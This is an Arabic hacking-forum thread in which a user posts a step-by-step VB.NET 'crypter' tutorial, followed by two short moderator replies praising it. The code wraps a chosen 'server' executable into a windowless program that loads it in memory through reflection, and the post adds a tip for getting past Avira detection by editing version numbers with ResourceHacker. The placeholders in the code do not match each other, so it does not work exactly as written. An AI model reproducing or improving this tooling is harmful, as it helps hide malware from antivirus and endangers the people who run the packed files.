المشاركات اخر المواضيع الاكثر مشاهدة

En çok mesaj

السلام عليكم و رحمة الله تعالي و بركاته اليوم معنا كيفية صنع برنامج تشفير في دقائق معدودة الفورم يحتوي علي Button1 باسم Server و TextBox1 و Button2 باسم...

احصائياتى
الردود
2
المشاهدات
350

SAMPOP

V • I • P

إنضم
9 سبتمبر 2018
المشاركات
852
مستوى التفاعل
935
النقاط
93
العمر
20
صنع برنامج تشفير للدوت نت بابسط الطرق
السلام عليكم و رحمة الله تعالي و بركاته
اليوم معنا كيفية صنع برنامج تشفير في دقائق معدودة
الفورم يحتوي علي Button1 باسم Server و TextBox1 و Button2 باسم Crypter فقط
لا تتقيد بالاسماء انت ضع ما تريد
هذه هي اكواد الفورم





C#:
Imports System.CodeDom.Compiler
Imports System.IO
Public Class Form1


    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
                   {
                       .Filter = "|*.exe"
                   }
        If (openFileDialog.ShowDialog() <> DialogResult.OK) Then
            MessageBox.Show("Server ?!?!?!")
        Else
            Me.TextBox1.Text = openFileDialog.FileName
        End If
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Dim str As String = "using System;class class1{static void Main(){int[] buffer = {انسخ هنا};byte[] final = new byte[buffer.Length];for (int i = 0; i < buffer.Length; i++){final[i] = Convert.ToByte(Math.Abs(buffer[i]));}AppDomain.CurrentDomain.Load(final).EntryPoint.Invoke(1, null);}}"
        Dim num As String = Me.Convert_ToByte(File.ReadAllBytes(Me.TextBox1.Text))
        Me.Crypter(str.Replace("ضع هنا اي شئ و اعد نسخه في هنا  ", num))
        MessageBox.Show("Encrypted Succefully ")
    End Sub


    Public Function Convert_ToByte(ByVal buffer As Byte()) As String
        Dim str As String = ""
        Dim numArray As Byte() = buffer
        Dim num As Integer = 0
        While num < CInt(numArray.Length)
            Dim num1 As Byte = numArray(num)
            str = If(Not num1.ToString().Contains("1"), String.Concat(str, "-", Convert.ToString(Convert.ToByte(num1)), ","), String.Concat(str, Convert.ToString(Convert.ToByte(num1)), ","))
            num = num + 1
        End While
        Dim str1 As String = str.ToString().Remove(str.Length - 1)
        Return str1
    End Function

    Public Sub Crypter(ByVal str As String)
        Dim codeDomProvider As System.CodeDom.Compiler.CodeDomProvider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("CSharp")
        Dim compilerParameter As CompilerParameters = New CompilerParameters() With
            {
                .GenerateExecutable = True,
                .OutputAssembly = "ضع اي اسم تريد و من المستحسن يكون دون صيغة فيما بعد اضف الصيغة للناتج ",
                .CompilerOptions = "/t:winexe"
            }
        Dim strArrays() As String = {str}
        codeDomProvider.CompileAssemblyFromSource(compilerParameter, strArrays)
    End Sub
End Class
و للتخلص من الافيرا استعمل ResourceHacker و غير في 0.0.0.0 بوضع اي عدد مثال يصبح 1.0.0.0 او 0.1.0.0
المهم سوف تجد ثلاثة من 0.0.0.0 قم بتغييرها كلها
ذمتم في رعاية الله و حفظه
 

iiYoyo

مـشُرٍفَ إآقسًٌُُإآمـ إآلُتـ,صمـيَمـ
طاقم الإدارة

إنضم
25 مارس 2019
المشاركات
242
مستوى التفاعل
294
النقاط
63
العمر
15
الإقامة
كوكب الارض
صنع برنامج تشفير للدوت نت بابسط الطرق
عاشت ايدك يا وحش 💛👌
 

assdsiwi

:: Super Moderator ::
طاقم الإدارة

إنضم
22 مارس 2019
المشاركات
275
مستوى التفاعل
393
النقاط
63
صنع برنامج تشفير للدوت نت بابسط الطرق
بطل
 
أعلى